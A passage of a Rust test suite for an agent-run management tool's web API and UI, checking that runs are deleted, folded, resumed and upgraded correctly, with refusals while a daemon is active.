14001
14002 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14004 assert_eq!(res.status, 204);
14005 assert!(res.body.is_empty(), "204 has no body");
14006 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14007
14008 let run_running = "20260901-000000-rung";
14013 write_run(&runs, run_running, RunStatus::Prep);
14014 let mut beat = crate::daemon::Status::new();
14015 beat.current = vec![crate::daemon::Current {
14016 task: "20260901-000000-task".to_owned(),
14017 run: run_running.to_owned(),
14018 }];
14019 beat.updated_at = jiff::Timestamp::now();
14020 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14021 .expect("publish a heartbeat");
14022 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14023 assert_eq!(res.status, 409);
14024 assert!(
14025 res.json()["error"]
14026 .as_str()
14027 .unwrap()
14028 .contains("live daemon"),
14029 "the refusal must say who is holding it"
14030 );
14031 assert!(
14032 runs.join(run_running).exists(),
14033 "a run in flight keeps its directory"
14034 );
14035
14036 let run_unfolded = "20260901-000000-unfd";
14038 let mut state2 = RunState::new(
14039 PathBuf::from("/repo"),
14040 "main".to_owned(),
14041 "abc".to_owned(),
14042 "instruction".to_owned(),
14043 Config::default(),
14044 );
14045 state2.id = run_unfolded.to_owned();
14046 state2.status = RunStatus::Ready;
14047 state2.candidates.push(crate::run::Candidate {
14048 index: 0,
14049 label: 'A',
14050 agent: "a".to_owned(),
14051 branch: "b".to_owned(),
14052 worktree: PathBuf::from("/w"),
14053 summary: String::new(),
14054 stat: String::new(),
14055 files: 1,
14056 commits: 1,
14057 empty: false,
14058 failed: None,
14059 verified_noop: None,
14060 duration_ms: 0,
14061 folded: false,
14062 });
14063 let dir2 = runs.join(run_unfolded);
14064 std::fs::create_dir_all(&dir2).expect("create dir2");
14065 std::fs::write(
14066 dir2.join("run.json"),
14067 serde_json::to_string(&state2).unwrap(),
14068 )
14069 .expect("write run.json");
14070
14071 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14072 assert_eq!(res.status, 409);
14073 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14074 assert!(dir2.exists(), "unfolded run directory is kept");
14075
14076 let res = fx.delete("/api/runs/nonexistent").await;
14078 assert_eq!(res.status, 404);
14079 }
14080
14081 #[test]
14090 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14091 let start = APP_JS
14092 .find("function renderStats() {")
14093 .expect("renderStats");
14094 let end = start
14095 + APP_JS[start..]
14096 .find("function statsTile(")
14097 .expect("the next top-level function");
14098 let body = &APP_JS[start..end];
14099
14100 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14101 let gate_end = gate_start
14102 + body[gate_start..]
14103 .find("}\n renderStatsQueue")
14104 .expect("the gate's own closing brace, right before the unconditional call");
14105 let gated = &body[gate_start..gate_end];
14106
14107 assert_eq!(
14108 body.matches("renderStatsQueue(").count(),
14109 1,
14110 "renderStats must call renderStatsQueue exactly once: {body}"
14111 );
14112 assert!(
14113 !gated.contains("renderStatsQueue"),
14114 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14115 run-derived panels on an empty run history - the queue panel has to render \
14116 regardless: {gated}"
14117 );
14118 }
14119
14120 #[test]
14121 fn web_ui_delete_contract_in_front_end() {
14122 assert!(APP_JS.contains("deleteRun:"));
14124 assert!(APP_JS.contains("deleteTask:"));
14125
14126 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14128 ..APP_JS.find("function renderRuns").unwrap()];
14129 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14130
14131 assert!(APP_JS.contains("renderRunDelete"));
14133 assert!(APP_JS.contains("runDeleteReason"));
14134 assert!(APP_JS.contains("magi fold"));
14135 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14136
14137 assert!(APP_JS.contains("cancel.focus"));
14139 assert!(APP_JS.contains("armedRunDelete"));
14140 assert!(APP_JS.contains("renderTaskDeleteBox"));
14141 assert!(APP_JS.contains("armed${cap(key)}"));
14142
14143 assert!(APP_JS.contains("disabled: status === \"running\""));
14145 }
14146
14147 #[test]
14167 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14168 let build = APP_JS
14169 .find("function createRunCard")
14170 .expect("createRunCard exists");
14171 let update = APP_JS
14172 .find("function updateRunCard")
14173 .expect("updateRunCard exists");
14174 let end = APP_JS
14175 .find("function renderRuns")
14176 .expect("renderRuns exists");
14177
14178 let builder = &APP_JS[build..update];
14180 let open = builder.find("refs = {").expect("createRunCard sets refs");
14181 let literal = &builder[open + "refs = {".len()..];
14182 let close = literal.find('}').expect("the refs literal is closed");
14183 let published: HashSet<&str> = literal[..close]
14184 .split(',')
14185 .filter_map(|entry| entry.split(':').next())
14187 .map(str::trim)
14188 .filter(|name| !name.is_empty())
14189 .collect();
14190 assert!(
14191 published.len() > 5,
14192 "the refs literal did not parse into names: {published:?}"
14193 );
14194
14195 let mut used: Vec<&str> = Vec::new();
14198 let updaters = &APP_JS[update..end];
14199 for (at, _) in updaters.match_indices("r.") {
14200 let before = updaters[..at].chars().next_back();
14203 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14204 continue;
14205 }
14206 let rest = &updaters[at + 2..];
14207 let len = rest
14208 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14209 .unwrap_or(rest.len());
14210 if len > 0 {
14211 used.push(&rest[..len]);
14212 }
14213 }
14214 assert!(
14215 used.len() > 5,
14216 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14217 );
14218
14219 let missing: Vec<&str> = used
14220 .iter()
14221 .copied()
14222 .filter(|name| !published.contains(name))
14223 .collect();
14224 assert!(
14225 missing.is_empty(),
14226 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14227 never put in `refs` - every card will throw and the list will \
14228 render empty under a count line that says otherwise. Published: \
14229 {published:?}"
14230 );
14231 }
14232
14233 #[tokio::test]
14234 async fn folding_from_the_phone_reports_what_it_removed() {
14235 let fx = Fixture::start().await;
14236 let runs = fx.runs();
14237
14238 let id = "20260901-000000-fold";
14242 write_run(&runs, id, RunStatus::Stalled);
14243 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14244 assert_eq!(res.status, 200);
14245 assert_eq!(res.json()["removed_count"], 0);
14246 assert_eq!(res.json()["run"], id);
14247 assert!(
14248 runs.join(id).exists(),
14249 "a fold keeps the run's record; only the worktrees go"
14250 );
14251 }
14252
14253 #[tokio::test]
14254 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14255 let fx = Fixture::start().await;
14256 let runs = fx.runs();
14257 let wt = fx.home.path().join("wt").join("magi").join("dead");
14258 let id = "20260901-000000-dead";
14259 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14260 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14261 std::fs::create_dir_all(&wt).expect("worktree dir");
14262
14263 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14264 assert_eq!(res.status, 200, "{}", res.body);
14265 assert!(
14266 res.json()["removed_count"].as_u64().unwrap() > 0,
14267 "the worktree this build could not read a state for still went"
14268 );
14269 assert!(
14270 !runs.join(id).exists(),
14271 "an unreadable run has no candidate list to fold selectively, so \
14272 the whole record goes - same as `magi fold` on the CLI"
14273 );
14274 }
14275
14276 #[tokio::test]
14277 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14278 let fx = Fixture::start().await;
14279 let runs = fx.runs();
14280 let wt = fx.home.path().join("wt").join("magi").join("gone");
14281 let id = "20260901-000000-gone";
14282 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14283 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14284 std::fs::create_dir_all(&wt).expect("worktree dir");
14285
14286 let res = fx.delete(&format!("/api/runs/{id}")).await;
14287 assert_eq!(res.status, 204, "{}", res.body);
14288 assert!(!runs.join(id).exists(), "the broken record is gone");
14289 assert!(!wt.exists(), "its worktree is gone too");
14290 }
14291
14292 #[tokio::test]
14293 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14294 let fx = Fixture::start().await;
14295 let runs = fx.runs();
14296 let id = "20260901-000000-live";
14297 write_run(&runs, id, RunStatus::Implementing);
14298
14299 let mut beat = crate::daemon::Status::new();
14300 beat.current = vec![crate::daemon::Current {
14301 task: "20260901-000000-task".to_owned(),
14302 run: id.to_owned(),
14303 }];
14304 beat.updated_at = jiff::Timestamp::now();
14305 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14306 .expect("publish a heartbeat");
14307
14308 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14309 assert_eq!(res.status, 409);
14310 assert!(
14311 res.json()["error"]
14312 .as_str()
14313 .unwrap()
14314 .contains("live daemon"),
14315 "folding under a running agent would pull its worktree away"
14316 );
14317 }
14318
14319 #[tokio::test]
14320 async fn fold_merged_requires_a_pr_url() {
14321 let fx = Fixture::start().await;
14322 let runs = fx.runs();
14323 let id = "20260901-000000-nourl";
14324 write_run(&runs, id, RunStatus::Blocked);
14325
14326 let res = fx
14327 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14328 .await;
14329 assert_eq!(res.status, 400, "{}", res.body);
14330
14331 let blank = fx
14332 .post(
14333 &format!("/api/runs/{id}/fold-merged"),
14334 Some(r#"{"pr_url":" "}"#),
14335 )
14336 .await;
14337 assert_eq!(blank.status, 400, "{}", blank.body);
14338 }
14339
14340 #[tokio::test]
14341 async fn fold_merged_is_404_for_an_unknown_run() {
14342 let fx = Fixture::start().await;
14343 let res = fx
14344 .post(
14345 "/api/runs/nosuchrun/fold-merged",
14346 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14347 )
14348 .await;
14349 assert_eq!(res.status, 404, "{}", res.body);
14350 }
14351
14352 #[tokio::test]
14353 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14354 let fx = Fixture::start().await;
14355 let runs = fx.runs();
14356 let id = "20260901-000000-livemerge";
14357 write_run(&runs, id, RunStatus::Blocked);
14358
14359 let mut beat = crate::daemon::Status::new();
14360 beat.current = vec![crate::daemon::Current {
14361 task: "20260901-000000-task".to_owned(),
14362 run: id.to_owned(),
14363 }];
14364 beat.updated_at = jiff::Timestamp::now();
14365 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14366 .expect("publish a heartbeat");
14367
14368 let res = fx
14369 .post(
14370 &format!("/api/runs/{id}/fold-merged"),
14371 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14372 )
14373 .await;
14374 assert_eq!(res.status, 409, "{}", res.body);
14375 assert!(
14376 res.json()["error"]
14377 .as_str()
14378 .unwrap()
14379 .contains("live daemon"),
14380 "correcting a run's merge underneath a running agent would race \
14381 whatever it is doing to the same `status`/`merge` fields"
14382 );
14383 }
14384
14385 #[tokio::test]
14390 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14391 let fx = Fixture::start().await;
14392 let runs = fx.runs();
14393 let id = "20260901-000000-unconfirmed";
14394 write_run(&runs, id, RunStatus::Blocked);
14395
14396 let res = fx
14397 .post(
14398 &format!("/api/runs/{id}/fold-merged"),
14399 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14400 )
14401 .await;
14402 assert_eq!(res.status, 400, "{}", res.body);
14403 assert_eq!(
14404 read_run(&runs, id).unwrap().status,
14405 RunStatus::Blocked,
14406 "a pull request that could not be confirmed merged must leave \
14407 the run exactly where it was"
14408 );
14409 }
14410
14411 #[tokio::test]
14412 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14413 let fx = Fixture::start().await;
14414 let runs = fx.runs();
14415
14416 for (status, word) in [
14422 (RunStatus::Merged, "merged"),
14423 (RunStatus::Ready, "ready"),
14424 (RunStatus::Failed, "failed"),
14425 ] {
14426 let id = format!("20260901-000000-{}", &word[..4]);
14427 write_run(&runs, &id, status);
14428 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14429 assert_eq!(res.status, 409, "{word} must not be resumable");
14430 let err = res.json()["error"].as_str().unwrap().to_owned();
14431 assert!(err.contains(word), "the refusal names the status: {err}");
14432 }
14433
14434 let mid = "20260901-000000-midf";
14439 write_run(&runs, mid, RunStatus::Reviewing);
14440 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14441 assert_eq!(res.status, 202, "an interrupted run is resumable");
14442 }
14443
14444 #[tokio::test]
14445 async fn resume_is_refused_while_the_loop_is_running() {
14446 let fx = Fixture::start().await;
14447 let runs = fx.runs();
14448 let stalled = "20260901-000000-stal";
14449 write_run(&runs, stalled, RunStatus::Stalled);
14450
14451 let mut beat = crate::daemon::Status::new();
14455 beat.current = vec![crate::daemon::Current {
14456 task: "20260901-000000-task".to_owned(),
14457 run: "20260901-000000-othr".to_owned(),
14458 }];
14459 beat.updated_at = jiff::Timestamp::now();
14460 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14461 .expect("publish a heartbeat");
14462
14463 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14464 assert_eq!(res.status, 409);
14465 let err = res.json()["error"].as_str().unwrap().to_owned();
14466 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14467 assert!(err.contains("stop it first"), "{err}");
14468 }
14469
14470 #[test]
14471 fn a_run_cannot_be_resumed_twice_at_once() {
14472 let home = TempDir::new().expect("temp home");
14473 let ui = Ui::new(
14474 Queue::at(home.path().join("queue")),
14475 Questions::at(home.path().join("questions")),
14476 Talks::at(home.path().join("talks")),
14477 home.path().join("runs"),
14478 home.path().to_path_buf(),
14479 PathBuf::from("/repo"),
14480 )
14481 .with_worktrees_root(home.path().join("wt"));
14482 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14483 let again = ui.begin_resume("20260901-000000-once");
14484 assert!(again.is_err(), "a second tap must not start a second graph");
14485 drop(first);
14486 assert!(
14487 ui.begin_resume("20260901-000000-once").is_ok(),
14488 "and the claim is released when the attempt ends"
14489 );
14490 }
14491
14492 #[test]
14493 fn talk_thinking_tracks_only_its_held_turn_claim() {
14494 let home = TempDir::new().expect("temp home");
14495 let ui = Ui::new(
14496 Queue::at(home.path().join("queue")),
14497 Questions::at(home.path().join("questions")),
14498 Talks::at(home.path().join("talks")),
14499 home.path().join("runs"),
14500 home.path().to_path_buf(),
14501 PathBuf::from("/repo"),
14502 )
14503 .with_worktrees_root(home.path().join("wt"));
14504 let id = "20260901-000000-once";
14505
14506 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14507 let turn = ui.begin_talk_turn(id).expect("claim turn");
14508 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14509 assert!(
14510 !ui.is_thinking("20260901-000000-other"),
14511 "one talk's turn does not make another talk busy"
14512 );
14513 drop(turn);
14514 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14515 }
14516
14517 #[test]
14518 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14519 let home = TempDir::new().expect("temp home");
14520 let talks = Talks::at(home.path().join("talks"));
14521 let ui = Ui::new(
14522 Queue::at(home.path().join("queue")),
14523 Questions::at(home.path().join("questions")),
14524 talks.clone(),
14525 home.path().join("runs"),
14526 home.path().to_path_buf(),
14527 PathBuf::from("/repo"),
14528 )
14529 .with_worktrees_root(home.path().join("wt"));
14530 let id = "20260901-000000-cross";
14531
14532 let other = Talks::at(home.path().join("talks"))
14533 .claim_turn(id)
14534 .expect("claim")
14535 .expect("the other process wins");
14536 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14537 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14538 assert!(
14539 matches!(
14540 ui.begin_talk_turn_unless_pending(id).expect("start"),
14541 TalkTurnStart::Foreign
14542 ),
14543 "a foreign holder is refused, not queued behind"
14544 );
14545 assert!(
14546 !ui.talk_turns.lock().unwrap().live.contains(id),
14547 "a refused claim leaves no in-process entry behind"
14548 );
14549 drop(other);
14550 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14551 assert!(talks.turn_held(id), "the web turn holds the lease");
14552 drop(turn);
14553 assert!(
14554 !talks.turn_held(id),
14555 "dropping the guard releases the lease"
14556 );
14557 }
14558
14559 #[test]
14560 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14561 let home = TempDir::new().expect("temp home");
14562 let talks = Talks::at(home.path().join("talks"));
14563 let ui = Ui::new(
14564 Queue::at(home.path().join("queue")),
14565 Questions::at(home.path().join("questions")),
14566 talks.clone(),
14567 home.path().join("runs"),
14568 home.path().to_path_buf(),
14569 PathBuf::from("/repo"),
14570 )
14571 .with_worktrees_root(home.path().join("wt"));
14572 let id = "20260901-000000-order";
14573 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14574 let slots = ui.talk_turns.lock().unwrap();
14576 let dropper = std::thread::spawn(move || drop(turn));
14577 let start = std::time::Instant::now();
14578 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14579 std::thread::sleep(Duration::from_millis(5));
14580 }
14581 assert!(!talks.turn_held(id), "the lease is released first");
14582 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14583 drop(slots);
14584 dropper.join().expect("join");
14585 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14586 }
14587
14588 #[tokio::test]
14589 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14590 let fx = Fixture::start().await;
14591 let mut beat = crate::daemon::Status::new();
14595 beat.pid = 4321;
14596 beat.updated_at = jiff::Timestamp::now();
14597 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14598 .expect("publish a heartbeat");
14599
14600 let res = fx.post("/api/upgrade", None).await;
14601 assert_eq!(res.status, 409);
14602 let err = res.json()["error"].as_str().unwrap().to_owned();
14603 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14604 assert!(err.contains("old one against the same queue"), "{err}");
14605 }
14606
14607 #[test]
14614 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14615 assert!(!should_spawn_recheck(&crate::config::Update {
14616 mode: UpdateMode::Off,
14617 interval: None,
14618 }));
14619
14620 unsafe {
14623 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14624 }
14625 let killed = should_spawn_recheck(&crate::config::Update {
14626 mode: UpdateMode::Notify,
14627 interval: None,
14628 });
14629 unsafe {
14630 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14631 }
14632 assert!(
14633 !killed,
14634 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14635 one-time startup check"
14636 );
14637
14638 assert!(should_spawn_recheck(&crate::config::Update {
14639 mode: UpdateMode::Notify,
14640 interval: None,
14641 }));
14642 }
14643
14644 #[test]
14650 fn recheck_poll_period_tracks_a_short_configured_interval() {
14651 let short = crate::config::Update {
14652 mode: UpdateMode::Notify,
14653 interval: Some("1m".to_owned()),
14654 };
14655 let period = recheck_poll_period(&short);
14656 assert!(
14657 period <= Duration::from_secs(30),
14658 "a one-minute interval must wake the task far sooner than the \
14659 default ceiling, or the deck would not notice within the \
14660 interval the operator configured: got {period:?}"
14661 );
14662
14663 let default = crate::config::Update {
14664 mode: UpdateMode::Notify,
14665 interval: None,
14666 };
14667 assert_eq!(
14668 recheck_poll_period(&default),
14669 UPDATE_RECHECK_POLL_MAX,
14670 "the default day-long interval should poll at the (capped) \
14671 ceiling rather than needlessly often"
14672 );
14673 }
14674
14675 #[test]
14683 fn recheck_skips_the_network_before_the_interval_elapses() {
14684 let dir = TempDir::new().expect("temp dir");
14685 let path = dir.path().join("state.json");
14686 let state = kaishin::UpdateCheckState {
14687 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14688 last_known_latest: None,
14689 last_known_url: None,
14690 };
14691 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14692
14693 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14694 assert!(
14695 !update_recheck_due(&checker, None),
14696 "a check made moments ago must not be repeated before the \
14697 configured interval elapses"
14698 );
14699 }
14700
14701 #[test]
14707 fn recheck_defers_to_an_upgrade_already_in_flight() {
14708 let dir = TempDir::new().expect("temp dir");
14709 let path = dir.path().join("state.json");
14710 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14711 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14712
14713 assert!(
14714 !update_recheck_due(&checker, Some(&progress)),
14715 "a recheck must not run while an upgrade this deck started is \
14716 still moving"
14717 );
14718 }
14719
14720 #[tokio::test]
14721 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14722 unsafe {
14734 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14735 }
14736 let fx = Fixture::start().await;
14737 let res = fx.post("/api/upgrade", None).await;
14738 unsafe {
14739 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14740 }
14741 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14742 let body = res.json();
14743 assert!(body["to"].is_null(), "there was no release to move to");
14744 assert!(body["parked"].is_null(), "and nothing was parked");
14745 assert!(
14746 body["detail"]
14747 .as_str()
14748 .unwrap()
14749 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14750 "{body:?}"
14751 );
14752 }
14753
14754 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14755 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14756 p.stage = stage;
14757 p
14758 }
14759
14760 #[test]
14761 fn busy_stages_match_the_ui_set() {
14762 use crate::updater::Stage;
14763 assert!(APP_JS.contains(
14764 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14765 ));
14766 for s in [
14767 Stage::Downloading,
14768 Stage::Replaced,
14769 Stage::Parking,
14770 Stage::Restarting,
14771 ] {
14772 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14773 }
14774 for s in [Stage::Done, Stage::Failed] {
14775 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14776 }
14777 assert!(upgrade_in_motion(None).is_none());
14778 }
14779
14780 #[tokio::test]
14781 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14782 use crate::updater::Stage;
14783 for stage in [
14784 Stage::Downloading,
14785 Stage::Replaced,
14786 Stage::Parking,
14787 Stage::Restarting,
14788 ] {
14789 let fx = Fixture::start().await;
14790 let seeded = seeded_progress(stage);
14791 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14792 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14793 .expect("read");
14794
14795 let res = fx.post("/api/upgrade", None).await;
14796 assert_eq!(res.status, 409, "{stage:?}");
14797 let err = res.json()["error"].as_str().unwrap().to_owned();
14798 assert!(err.contains("already in progress"), "{err}");
14799 assert!(err.contains(stage.as_str()), "{err}");
14800
14801 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14802 .expect("read");
14803 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14804 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14805 .unwrap_or_default();
14806 assert!(!log.contains("signalling HANDOVER"), "{log}");
14807 }
14808 }
14809
14810 #[tokio::test]
14811 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14812 use crate::updater::Stage;
14813 let repo = TempDir::new().expect("repo dir");
14814 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14815 .expect("write magi.toml");
14816 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14817 for stage in [Stage::Done, Stage::Failed] {
14818 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14819 let res = fx.post("/api/upgrade", None).await;
14820 assert_eq!(res.status, 200, "{stage:?}");
14821 }
14822 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14824 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14825 }
14826
14827 #[tokio::test]
14828 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14829 let repo = TempDir::new().expect("repo dir");
14845 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14846 .expect("write magi.toml");
14847 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14848
14849 let res = fx.post("/api/upgrade", None).await;
14855 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14856 let body = res.json();
14857 assert!(body["to"].is_null(), "there was no release to move to");
14858 assert!(body["parked"].is_null(), "and nothing was parked");
14859 assert!(
14860 body["detail"]
14861 .as_str()
14862 .unwrap()
14863 .contains("nothing restarted"),
14864 "{body:?}"
14865 );
14866 }
14867
14868 #[tokio::test]
14869 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14870 let repo = TempDir::new().expect("repo dir");
14875 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14876 .expect("write magi.toml");
14877 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14878
14879 let health = fx.get("/api/health").await.json();
14880 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14881 assert_eq!(
14882 health["update"]["available"], false,
14883 "checking is off, which reads as \"unknown\", not \"none\""
14884 );
14885 assert!(health["update"]["to"].is_null());
14886 assert!(
14887 health["upgrade"].is_null(),
14888 "nothing has ever asked this deck to upgrade"
14889 );
14890 }
14891
14892 #[tokio::test]
14893 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14894 let fx = Fixture::start().await;
14895 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14896
14897 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14898 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14899 progress.advance(crate::updater::Stage::Parking);
14900 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14901
14902 let health = fx.get("/api/health").await.json();
14903 assert_eq!(health["upgrade"]["stage"], "parking");
14904 assert_eq!(health["upgrade"]["from"], "0.5.1");
14905 assert_eq!(health["upgrade"]["to"], "0.5.2");
14906 let waiting_on = health["upgrade"]["waiting_on"]
14907 .as_str()
14908 .expect("waiting_on is set while parking a known run");
14909 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14910 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14911 }
14912
14913 #[tokio::test]
14914 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14915 let fx = Fixture::start().await;
14916 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14917 progress.advance(crate::updater::Stage::Done);
14918 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14919
14920 let health = fx.get("/api/health").await.json();
14921 assert_eq!(health["upgrade"]["stage"], "done");
14922 assert!(
14923 health["upgrade"]["waiting_on"].is_null(),
14924 "nothing to wait on once it is done"
14925 );
14926 }
14927
14928 #[tokio::test]
14929 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14930 let home = TempDir::new().expect("temp home");
14931 let runs = home.path().join("runs");
14932 std::fs::create_dir_all(&runs).expect("runs dir");
14933 let ui = Ui::new(
14934 Queue::at(home.path().join("queue")),
14935 Questions::at(home.path().join("questions")),
14936 Talks::at(home.path().join("talks")),
14937 runs,
14938 home.path().to_path_buf(),
14939 PathBuf::from("/repo/magi"),
14940 )
14941 .with_launch(launch_idle);
14942 let looping = ui.looping();
14943 let turns = ui.turns();
14944 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14945 .await
14946 .expect("bind loopback");
14947 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14948
14949 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14950 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14951
14952 hand_over(
14953 home.path(),
14954 &looping,
14955 &turns,
14956 &|_: &[String]| Duration::from_secs(5),
14957 served,
14958 |_| Ok(1),
14959 )
14960 .await
14961 .expect("hand over");
14962
14963 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14964 assert_eq!(
14965 after.stage,
14966 crate::updater::Stage::Restarting,
14967 "hand_over owns the record through parking and up to restarting; \
14968 the successor is what finishes it"
14969 );
14970 }
14971
14972 #[tokio::test]
14975 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14976 for fail in [false, true] {
14977 let home = TempDir::new().expect("temp home");
14978 let ui = idle_ui(&home);
14979 let looping = ui.looping();
14980 let turns = ui.turns();
14981 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14982 .await
14983 .expect("bind loopback");
14984 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14985 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14986 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14987
14988 let calls = std::sync::atomic::AtomicUsize::new(0);
14989 let outcome = hand_over(
14990 home.path(),
14991 &looping,
14992 &turns,
14993 &|_: &[String]| Duration::from_secs(5),
14994 served,
14995 |_| {
14996 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14997 if fail {
14998 anyhow::bail!("no exec")
14999 } else {
15000 Ok(4242)
15001 }
15002 },
15003 )
15004 .await;
15005 assert_eq!(outcome.is_err(), fail);
15006 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15007
15008 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15009 .expect("upgrade.log is written under the home");
15010 for step in [
15011 "entered",
15012 "finish_loop",
15013 "listener released",
15014 "starting the successor",
15015 ] {
